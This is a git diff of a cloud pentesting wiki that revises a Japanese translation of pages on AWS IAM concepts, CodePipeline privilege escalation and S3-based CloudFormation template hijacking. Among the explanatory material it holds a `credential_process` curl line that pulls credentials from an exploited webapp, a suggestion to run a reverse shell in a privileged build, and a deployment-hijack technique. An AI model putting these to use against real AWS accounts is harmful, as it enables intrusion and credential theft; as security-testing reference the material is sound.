+**`AssumeRole` の credentials にはこの情報が含まれない** ことに注意してください。 ```bash aws sts get-session-token --serial-number --token-code ``` -以下の内容は、AWSにおけるMFAの使用ができないさまざまなケースについて説明しています。 +As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), **MFA cannot be used** するさまざまなケースがあります。 -### [IAMユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) +### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -IAM [ユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)は、**複数のユーザーにポリシーを一度に適用する**方法であり、これによりユーザーの権限を管理しやすくなります。**ロールとグループはグループの一部にはなれません**。 +IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) は、**複数の users に一度に policy を attach する**方法で、これによりそれらの users の permissions 管理が容易になります。**Roles と groups は group の一部にはなれません**。 -**ユーザーグループにアイデンティティベースのポリシーを適用する**ことで、ユーザーグループ内のすべての**ユーザー**が**ポリシーの権限を受け取る**ことができます。**ユーザーグループ**を**ポリシー**（リソースベースのポリシーなど）内の**`Principal`**として特定することは**できません**。なぜなら、グループは権限に関連し、認証には関連しないため、プリンシパルは認証されたIAMエンティティだからです。 +**identity-based policy を user group に attach** すると、その user group 内のすべての **users** が **policy の permissions を受け取ります**。**group は authentication ではなく permissions に関係**しており、principals は authenticated IAM entities であるため、**policy**（resource-based policy など）において **user group** を **`Principal`** として指定することは**できません**。 -ユーザーグループの重要な特徴は以下の通りです： +user groups の重要な特性は次のとおりです。 -- ユーザー**グループ**は**多くのユーザーを含むことができ**、**ユーザー**は**複数のグループに属することができ**ます。 -- **ユーザーグループはネストできません**。ユーザーのみを含むことができ、他のユーザーグループは含められません。 -- **AWSアカウント内のすべてのユーザーを自動的に含むデフォルトのユーザーグループは存在しません**。そのようなユーザーグループを作成したい場合は、自分で作成し、新しいユーザーをそれに割り当てる必要があります。 -- AWSアカウント内のIAMリソースの数とサイズ（グループの数や、ユーザーがメンバーになれるグループの数など）は制限されています。詳細については、[IAMおよびAWS STSのクォータ](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)を参照してください。 +- 1つの user **group** は **多くの users を含めることができ**、1人の **user** は **複数の groups に属することができます**。 +- **User groups は nested にできません**。他の user groups ではなく、users のみを含められます。 +- **AWS account 内のすべての users を自動的に含むデフォルトの user group はありません**。そのような user group が必要なら、自分で作成し、新しい user をそれぞれ割り当てる必要があります。 +- group の数、user が所属できる groups の数など、AWS account 内の IAM resources の数とサイズには制限があります。詳細は [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) を参照してください。 -### [IAMロール](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) +### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -IAM **ロール**は、**ユーザー**と非常に**似ており**、AWS内で**何ができるかを決定する権限ポリシーを持つアイデンティティ**です。しかし、ロールには**関連付けられた資格情報**（パスワードやアクセスキー）は**ありません**。ロールは特定の人に一意に関連付けられるのではなく、**必要な人が誰でも引き受けられることを意図しています（十分な権限がある場合）**。**IAMユーザーはロールを引き受けて、一時的に**特定のタスクのために異なる権限を取得することができます。ロールは、IAMではなく外部アイデンティティプロバイダーを使用してサインインする[**フェデレーテッドユーザー**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)に**割り当てることができます**。 +IAM **role** は **user** に非常に **似ており**、AWS で何ができて何ができないかを決める permissions policies を持つ **identity** です。ただし、role には関連付けられた **credentials**（password や access keys）がありません。1人の特定の人物に一意に結びつくのではなく、role は **必要で、かつ十分な perms を持つ誰でも assume できる**ことを意図しています。**IAM user は role を assume して、一時的に** 特定の task のために別の permissions を使えます。role は、IAM ではなく external identity provider を使って sign in する [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) に **assigned することもできます**。 -IAMロールは、**2種類のポリシー**で構成されています：**信頼ポリシー**（空であってはならず、**誰がロールを引き受けることができるかを定義**）と、**権限ポリシー**（空であってはならず、**何にアクセスできるかを定義**）。 +IAM role は **2種類の policies** から成ります。**trust policy** は空にできず、**誰が role を assume できるか**を定義します。**permissions policy** も空にできず、**何に access できるか**を定義します。 -#### AWSセキュリティトークンサービス（STS） +#### AWS Security Token Service (STS) -AWSセキュリティトークンサービス（STS）は、**一時的で制限された権限の資格情報を発行する**ためのウェブサービスです。これは特に以下の目的に特化しています： +AWS Security Token Service (STS) は、**一時的で制限付きの privilege credentials を発行する**ことを可能にする web service です。特に次の用途に向いています。 -### [IAMにおける一時的な資格情報](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) +### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -**一時的な資格情報は主にIAMロールと共に使用されます**が、他の用途もあります。標準のIAMユーザーよりも制限された権限を持つ一時的な資格情報をリクエストできます。これにより、**制限された資格情報によって許可されていないタスクを誤って実行することを防ぎます**。一時的な資格情報の利点は、設定された期間が経過すると自動的に期限切れになることです。資格情報が有効な期間を制御できます。 +**Temporary credentials は主に IAM roles とともに使われます**が、他にも用途があります。標準の IAM user よりも permissions が制限された temporary credentials を要求できます。これにより、より制限された credentials で**許可されていない task を誤って実行することを防げます**。temporary credentials の利点は、一定期間が経つと自動的に expire することです。有効期間は自分で制御できます。 -### ポリシー +### Policies -#### ポリシー権限 +#### Policy Permissions -権限を割り当てるために使用されます。2種類あります： +permissions を割り当てるために使われます。2種類あります。 -- AWS管理ポリシー（AWSによって事前設定されたもの） -- カスタマー管理ポリシー：あなたが設定したもの。AWS管理ポリシーに基づいてポリシーを作成できます（そのうちの1つを修正して独自のものを作成する）、ポリシージェネレーターを使用する（権限を付与および拒否するのを助けるGUIビュー）または自分で作成することができます。 +- AWS managed policies（AWS によって事前設定済み） +- Customer Managed Policies: あなたが設定します。AWS managed policies を基に policy を作成することもできます（それらの1つを修正して自分のものを作成する）、policy generator（permissions の grant と deny を手助けする GUI view）を使う、または自分で書くこともできます。 -**デフォルトのアクセスは** **拒否**され、明示的なロールが指定された場合にのみアクセスが許可されます。\ -**単一の「拒否」が存在する場合、それは「許可」を上書きします**。AWSアカウントのルートセキュリティ資格情報を使用するリクエスト（デフォルトで許可されている）は除きます。 +**default access** では **denied** されており、明示的な role が指定された場合に access が granted されます。\ +単一の **"Deny"** が存在すれば、**"Allow"** を上書きします。ただし、AWS account の root security credentials を使う requests は例外で、これらは default で許可されています。 ```javascript { "Version": "2012-10-17", //Version of the policy @@ -208,33 +208,33 @@ AWSセキュリティトークンサービス（STS）は、**一時的で制限 ] } ``` -[グローバルフィールドは、任意のサービスで条件に使用できることが文書化されています](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount)。\ -[特定のフィールドは、サービスごとに条件に使用できることが文書化されています](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html)。 +[条件に使用できる any service の global fields はここに文書化されています](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount)。\ +[service ごとに条件に使用できる specific fields はここに文書化されています](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html)。 -#### インラインポリシー +#### Inline Policies -この種のポリシーは、**ユーザー、グループ、またはロールに直接割り当てられます**。そのため、他の誰も使用できるようにはポリシーリストには表示されません。\ -インラインポリシーは、**ポリシーと適用されるアイデンティティとの間に厳密な1対1の関係を維持したい場合**に便利です。たとえば、ポリシー内の権限が意図されたアイデンティティ以外に誤って割り当てられないことを確認したい場合です。インラインポリシーを使用すると、ポリシー内の権限が誤って間違ったアイデンティティに添付されることはありません。さらに、AWS Management Consoleを使用してそのアイデンティティを削除すると、アイデンティティに埋め込まれたポリシーも削除されます。これは、それらが主エンティティの一部であるためです。 +この種の policies は、user、group、または role に **直接割り当て** られます。そのため、他の policies のように Policies list に表示されることはなく、他の誰かがそれらを使うこともできません。\ +Inline policies は、**policy とそれが適用される identity の間に厳密な 1 対 1 の関係を維持**したい場合に便利です。たとえば、policy の permissions が意図しない別の identity に誤って割り当てられないようにしたい場合です。inline policy を使うと、policy 内の permissions が誤って別の identity に attach されることはありません。さらに、AWS Management Console を使ってその identity を削除すると、その identity に埋め込まれた policies も削除されます。これは、それらが principal entity の一部だからです。 -#### リソースバケットポリシー +#### Resource Bucket Policies -これらは、**リソース**に定義できる**ポリシー**です。**すべてのAWSリソースがそれをサポートしているわけではありません**。 +これらは **resources** に定義できる **policies** です。**AWS のすべての resources がこれを support しているわけではありません**。 -もしプリンシパルがそれに対して明示的な拒否を持っておらず、リソースポリシーがアクセスを許可している場合、彼らは許可されます。 +principal に対して explicit deny がなく、resource policy が access を grant している場合、その principal は allow されます。 -### IAMバウンダリー +### IAM Boundaries -IAMバウンダリーは、**ユーザーまたはロールがアクセスすべき権限を制限するために使用できます**。このように、異なるポリシーによってユーザーに異なる権限が付与されても、使用しようとすると操作は**失敗**します。 +IAM boundaries は、**user や role がアクセスできる permissions を制限する** ために使えます。これにより、別の policy によって user に別の permissions が grant されていても、user がそれらを使おうとすると operation は **fail** します。 -バウンダリーは、ユーザーに添付されたポリシーであり、**ユーザーまたはロールが持つことができる最大の権限レベルを示します**。したがって、**ユーザーが管理者アクセスを持っていても**、バウンダリーが彼にS·バケットのみを読み取ることを示している場合、それが彼ができる最大のことです。 +boundary は、user に attach された policy で、**user や role が持てる permissions の最大レベルを示す** だけです。したがって、**user に Administrator access があっても**、boundary が S· buckets しか read できないことを示しているなら、それができる上限です。 -**これ**、**SCP**、および**最小特権の原則に従うこと**は、ユーザーが必要以上の権限を持たないように制御する方法です。 +**これ**、**SCPs**、そして **least privilege** の原則に従うことが、user が必要以上の permissions を持たないように制御する方法です。 -### セッションポリシー +### Session Policies -セッションポリシーは、**ロールが引き受けられたときに設定されるポリシー**です。これは、そのセッションの**IAMバウンダリーのようなもの**になります：これは、セッションポリシーが権限を付与するのではなく、**ポリシーに示された権限に制限することを意味します**（最大の権限はロールが持つものです）。 +session policy は、role がどこかで assumed されたときに設定される **policy** です。これは、その session に対する **IAM boundary のようなもの**です。つまり、session policy は permissions を grant するのではなく、**policy に示されたものに permissions を制限**します（最大 permissions は role が持つもの）。 -これは**セキュリティ対策**に役立ちます：管理者が非常に特権のあるロールを引き受ける場合、セッションが侵害された場合に備えて、セッションポリシーに示された権限のみを制限することができます。 +これは **security measures** に役立ちます。admin が非常に privileged な role を assume するとき、session が compromised した場合に備えて、session policy に示された permissions のみに制限できます。 ```bash aws sts assume-role \ --role-arn \ @@ -242,96 +242,96 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -注意すべきは、デフォルトで**AWSはセッションにセッションポリシーを追加する可能性がある**ということです。これは、第三者の理由によって生成されるセッションに対してです。例えば、[認証されていないCognitoの仮定されたロール](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)では、デフォルトで（強化された認証を使用して）、AWSは**セッションポリシーを持つセッション資格情報**を生成し、そのセッションがアクセスできるサービスを[**次のリストに制限します**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。 +Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). -したがって、ある時点で「...セッションポリシーが...を許可していないため」といったエラーに直面した場合、ロールがそのアクションを実行するアクセス権を持っていても、**それを妨げるセッションポリシーが存在する**ためです。 +Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**. -### アイデンティティフェデレーション +### Identity Federation -アイデンティティフェデレーションは、**AWSに外部のアイデンティティプロバイダーからのユーザーが**AWSリソースに安全にアクセスできるようにし、AWSユーザー資格情報を有効なIAMユーザーアカウントから提供する必要がありません。\ -アイデンティティプロバイダーの例としては、独自の企業の**Microsoft Active Directory**（**SAML**経由）や**OpenID**サービス（**Google**など）があります。フェデレーテッドアクセスにより、その中のユーザーがAWSにアクセスできるようになります。 +Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\ +An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS. -この信頼を構成するために、**IAMアイデンティティプロバイダー（SAMLまたはOAuth）が生成され**、**他のプラットフォームを信頼する**ことになります。そして、少なくとも1つの**IAMロールがアイデンティティプロバイダーに（信頼される）割り当てられます**。信頼されたプラットフォームのユーザーがAWSにアクセスすると、前述のロールとしてアクセスします。 +To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role. -ただし、通常は**サードパーティプラットフォームのユーザーのグループに応じて異なるロールを与えたい**と思うでしょう。そのため、複数の**IAMロールがサードパーティのアイデンティティプロバイダーを信頼し**、サードパーティプラットフォームがユーザーにどのロールを引き受けるかを許可します。 +However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
-### IAMアイデンティティセンター +### IAM Identity Center -AWS IAMアイデンティティセンター（AWSシングルサインオンの後継）は、AWSアイデンティティおよびアクセス管理（IAM）の機能を拡張し、**ユーザーとそのAWSアカウントおよびクラウドアプリケーションへのアクセスの管理を統合する**ための**中央の場所**を提供します。 +AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications. -ログインドメインは、`.awsapps.com`のようになります。 +The login domain is going to be something like `.awsapps.com`. -ユーザーをログインさせるために、使用できる3つのアイデンティティソースがあります： +To login users, there are 3 identity sources that can be used: -- アイデンティティセンターディレクトリ：通常のAWSユーザー -- Active Directory：異なるコネクタをサポート -- 外部アイデンティティプロバイダー：すべてのユーザーとグループは外部アイデンティティプロバイダー（IdP）から来ます +- Identity Center Directory: Regular AWS users +- Active Directory: Supports different connectors +- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
-アイデンティティセンターディレクトリの最も単純なケースでは、**アイデンティティセンターはユーザーとグループのリストを持ち**、それらに**ポリシーを割り当てる**ことができ、**組織の任意のアカウント**に対して行います。 +In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization. -アイデンティティセンターのユーザー/グループにアカウントへのアクセスを与えるために、**アイデンティティセンターを信頼するSAMLアイデンティティプロバイダーが作成され**、**指定されたポリシーを持つアイデンティティプロバイダーを信頼するロールが宛先アカウントに作成されます**。 +In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account. #### AwsSSOInlinePolicy -**IAMアイデンティティセンターを介して作成されたロールにインラインポリシーを通じて権限を与えることが可能です**。AWSアイデンティティセンターでインラインポリシーを持つアカウントで作成されたロールは、**`AwsSSOInlinePolicy`**というインラインポリシーにこれらの権限を持ちます。 +It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**. -したがって、**`AwsSSOInlinePolicy`**というインラインポリシーを持つ2つのロールがあっても、**同じ権限を持っているわけではありません**。 +Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**. -### クロスアカウントの信頼とロール +### Cross Account Trusts and Roles -**ユーザー**（信頼する側）は、いくつかのポリシーを持つクロスアカウントロールを作成し、**別のユーザー**（信頼される側）に**自分のアカウントにアクセスを許可する**ことができますが、**新しいロールポリシーで示されたアクセスのみを持つ**ことになります。これを作成するには、新しいロールを作成し、クロスアカウントロールを選択します。クロスアカウントアクセス用のロールは2つのオプションを提供します。所有するAWSアカウント間でのアクセスを提供することと、所有するアカウントとサードパーティのAWSアカウント間でのアクセスを提供することです。\ -信頼されるユーザーを**特定し、一般的なものを指定しないことをお勧めします**。そうしないと、フェデレーテッドユーザーのような他の認証されたユーザーもこの信頼を悪用できる可能性があります。 +**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\ +It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust. ### AWS Simple AD -サポートされていない： +Not supported: -- 信頼関係 -- AD管理センター -- フルPS APIサポート -- ADリサイクルビン -- グループ管理サービスアカウント -- スキーマ拡張 -- OSまたはインスタンスへの直接アクセスなし +- Trust Relations +- AD Admin Center +- Full PS API support +- AD Recycle Bin +- Group Managed Service Accounts +- Schema Extensions +- No Direct access to OS or Instances -#### WebフェデレーションまたはOpenID認証 +#### Web Federation or OpenID Authentication -アプリはAssumeRoleWithWebIdentityを使用して一時的な資格情報を作成します。ただし、これによりAWSコンソールへのアクセスは付与されず、AWS内のリソースへのアクセスのみが許可されます。 +The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS. -### その他のIAMオプション +### Other IAM options -- **パスワードポリシー設定**を設定することができ、最小長やパスワード要件などのオプションがあります。 -- **「資格情報レポート」をダウンロード**して、現在の資格情報に関する情報（ユーザー作成時間、パスワードが有効かどうかなど）を取得できます。資格情報レポートは、最長で**4時間ごと**に生成できます。 +- You can **set a password policy setting** options like minimum length and password requirements. +- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**. -AWSアイデンティティおよびアクセス管理（IAM）は、AWS全体での**きめ細かいアクセス制御**を提供します。IAMを使用すると、**誰がどのサービスやリソースにアクセスできるか、そしてどの条件下でアクセスできるかを指定できます**。IAMポリシーを使用して、労働力やシステムへの権限を管理し、**最小権限の権限を確保します**。 +AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**. -### IAM IDプレフィックス +### IAM ID Prefixes -[**このページ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids)では、キーの性質に応じた**IAM IDプレフィックス**を見つけることができます： +In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature: -| 識別子コード | 説明 | -| ------------- | ----------------------------------------------------------------------------------------------------- | -| ABIA | [AWS STSサービスベアラートークン](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| Identifier Code | Description | +| --------------- | ----------------------------------------------------------------------------------------------------------- | +| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | -| ACCA | コンテキスト固有の資格情報 | -| AGPA | ユーザーグループ | -| AIDA | IAMユーザー | -| AIPA | Amazon EC2インスタンスプロファイル | -| AKIA | アクセスキー | -| ANPA | 管理ポリシー | -| ANVA | 管理ポリシーのバージョン | -| APKA | 公開鍵 | -| AROA | ロール | -| ASCA | 証明書 | -| ASIA | [一時的（AWS STS）アクセスキーID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)はこのプレフィックスを使用しますが、秘密アクセスキーおよびセッショントークンと組み合わせた場合にのみ一意です。 | +| ACCA | Context-specific credential | +| AGPA | User group | +| AIDA | IAM user | +| AIPA | Amazon EC2 instance profile | +| AKIA | Access key | +| ANPA | Managed policy | +| ANVA | Version in a managed policy | +| APKA | Public key | +| AROA | Role | +| ASCA | Certificate | +| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. | -### アカウントを監査するための推奨権限 +### Recommended permissions to audit accounts -以下の特権は、メタデータのさまざまな読み取りアクセスを付与します： +The following privileges grant various read access of metadata: - `arn:aws:iam::aws:policy/SecurityAudit` - `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess` @@ -342,13 +342,13 @@ AWSアイデンティティおよびアクセス管理（IAM）は、AWS全体 - `directconnect:DescribeConnections` - `dynamodb:ListTables` -## その他 +## Misc -### CLI認証 +### CLI Authentication -通常のユーザーがCLIを介してAWSに認証するためには、**ローカル資格情報**が必要です。デフォルトでは、`~/.aws/credentials`に**手動で**設定するか、**`aws configure`を実行することによって**構成できます。\ -そのファイルには、1つ以上のプロファイルを持つことができ、**プロファイル**が指定されていない場合、**aws cli**を使用すると、そのファイル内の**`[default]`**と呼ばれるものが使用されます。\ -複数のプロファイルを持つ資格情報ファイルの例： +In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\ +In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\ +Example of credentials file with more than 1 profile: ``` [default] aws_access_key_id = AKIA5ZDCUJHF83HDTYUT @@ -359,10 +359,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` -異なる **AWS アカウント** にアクセスする必要があり、あなたのプロファイルが **それらのアカウント内でロールを引き受ける** アクセスを与えられている場合、毎回手動で STS を呼び出す必要はありません (`aws sts assume-role --role-arn --role-session-name sessname`) と資格情報を設定する必要はありません。 +もし **different AWS accounts** にアクセスする必要があり、あなたの profile にそれらの account 内の **assume a role** 権限が与えられているなら、毎回手動で STS を呼び出して (`aws sts assume-role --role-arn --role-session-name sessname`) credentials を設定する必要はありません。 -`~/.aws/config` ファイルを使用して[ **引き受けるロールを指定**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html)し、その後は通常通り `--profile` パラメータを使用できます（`assume-role` はユーザーにとって透過的に実行されます）。\ -設定ファイルの例: +`~/.aws/config` ファイルを使って[ **どの roles を assume するかを指定**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html)でき、その後は通常どおり `--profile` param を使えます（`assume-role` は user に対して透過的に実行されます）。\ +config file の例: ``` [profile acc2] region=eu-west-2 @@ -371,20 +371,20 @@ role_session_name = source_profile = sts_regional_endpoints = regional ``` -この設定ファイルを使用すると、次のようにaws cliを使用できます: +このconfigファイルを使えば、次のように aws cli を使用できます: ``` aws --profile acc2 ... ``` -もしこれに**似た**ものを**ブラウザ**用に探しているなら、**拡張機能** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)をチェックできます。 +ブラウザ向けでこれに**似た**ものを探しているなら、**extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) を確認できます。 -#### 一時的な資格情報の自動化 +#### 一時的な認証情報の自動化 -一時的な資格情報を生成するアプリケーションを悪用している場合、資格情報が期限切れになるたびにターミナルでそれらを更新するのは面倒です。これは、設定ファイルに`credential_process`ディレクティブを使用することで解決できます。たとえば、脆弱なウェブアプリがある場合、次のようにできます: +temporary credentials を生成する application を exploit している場合、それらが期限切れになるたびに数分ごとに terminal で更新するのは面倒です。これは config file 内の `credential_process` directive を使うことで解決できます。たとえば、脆弱な webapp があるなら、次のようにできます: ```toml [victim] credential_process = curl -d 'PAYLOAD' https://some-site.com ``` -注意してください、資格情報は次の形式でSTDOUTに返されなければなりません: +Note that credentials _must_ be returned to STDOUT in the following format: ```json { "Version": 1, @@ -394,7 +394,7 @@ credential_process = curl -d 'PAYLOAD' https://some-site.com "Expiration": "ISO8601 timestamp when the credentials expire" } ``` -## 参考文献 +## 参考 - [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html) - [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md index e5fed7a77..573e138db 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md @@ -4,7 +4,7 @@ ## codepipeline -codepipeline の詳細は次を参照: +codepipeline についての詳細は以下を参照: {{#ref}} ../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -12,26 +12,26 @@ codepipeline の詳細は次を参照: ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` -code pipeline を作成すると、実行に使用する codepipeline IAM Role を指定できるため、それを奪取できる可能性がある。 +code pipeline を作成する際に、実行する **codepipeline IAM Role** を指定できるため、それらを侵害できます。 -前述の権限に加えて、**コードが保存されている場所へのアクセス** (S3, ECR, github, bitbucket...) が必要。 +前述の権限に加えて、**コードが保存されている場所へのアクセス** も必要です (S3, ECR, github, bitbucket...)。 -私はウェブページでこのプロセスを試したが、前述の権限は codepipeline を作成するために必要な List/Get 以外のもので、ウェブで作成するにはさらに次の権限が必要だった: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` +これを web ページ上で実行してテストしました。前述の権限は codepipeline を作成するのに必要な List/Get 系ではありませんが、web 上で作成する場合はさらに次が必要でした: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` -build project の**作成中**に、実行する**コマンド**(rev shell?)を指定でき、ビルドフェーズを**特権ユーザー**で実行する設定にできる。これが攻撃者が奪取するために必要な構成である: +**build project の作成** 中に、**実行する command** (rev shell?) と、build phase を **privileged user** として実行する設定を指定できます。これが攻撃者が侵害に必要とする設定です: -![](<../../../images/image (276).png>) +![AWS CodeBuild buildspec name field set to env during build project creation](<../../../images/image (276).png>) -![](<../../../images/image (181).png>) +![AWS CodeBuild privileged mode checkbox enabled for elevated build privileges](<../../../images/image (181).png>) ### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` -これらの権限を使って、codepipeline で使用されるロールや実行されるコマンドを変更できる可能性がある。 +前述の権限があれば、codepipeline で使用される role や実行される command を変更できる可能性があります。 ### `codepipeline:pollforjobs` [AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): -> この API が呼び出されると、CodePipeline は、アクションが入出力アーティファクトのためにその S3 バケットへのアクセスを必要とする場合、パイプラインのアーティファクトを格納するために使用される S3 バケットに対する **一時的な資格情報を返します**。この API はまた、アクションに定義された **任意のシークレット値も返します**。 +> この API が呼び出されると、CodePipeline は、pipeline の artifacts を保存するために使用される S3 bucket の **temporary credentials** を返します。ただし、その action が input または output artifacts のためにその S3 bucket へのアクセスを必要とする場合に限ります。この API はまた、その action に定義された **secret values** も返します。 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md index eb3c5c1ea..e2a62f08b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md @@ -6,9 +6,9 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -これらの権限を対象のバケットに対して持つ攻撃者は、リソースを乗っ取り権限を昇格させることができる可能性があります。 +興味深い bucket に対してこれらの permissions を持つ attacker は、resources を hijack して privileges を escalate できる可能性があります。 -例えば、"cf-templates-nohnwfax6a6i-us-east-1" という cloudformation バケットに対する **権限** を攻撃者が持っている場合、デプロイを乗っ取ることができます。アクセスは以下のポリシーで付与できます: +たとえば、"cf-templates-nohnwfax6a6i-us-east-1" という **cloudformation bucket** に対してこれらの **permissions** を持つ attacker は、deployment を hijack できます。アクセスは次の policy で付与できます： ```json { "Version": "2012-10-17", @@ -36,28 +36,28 @@ ``` And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**. -![](<../../../images/image (174).png>) +![CloudFormation template bucket hijack diagram using an attacker-controlled Lambda to modify the uploaded template](<../../../images/image (174).png>) The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\ For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) 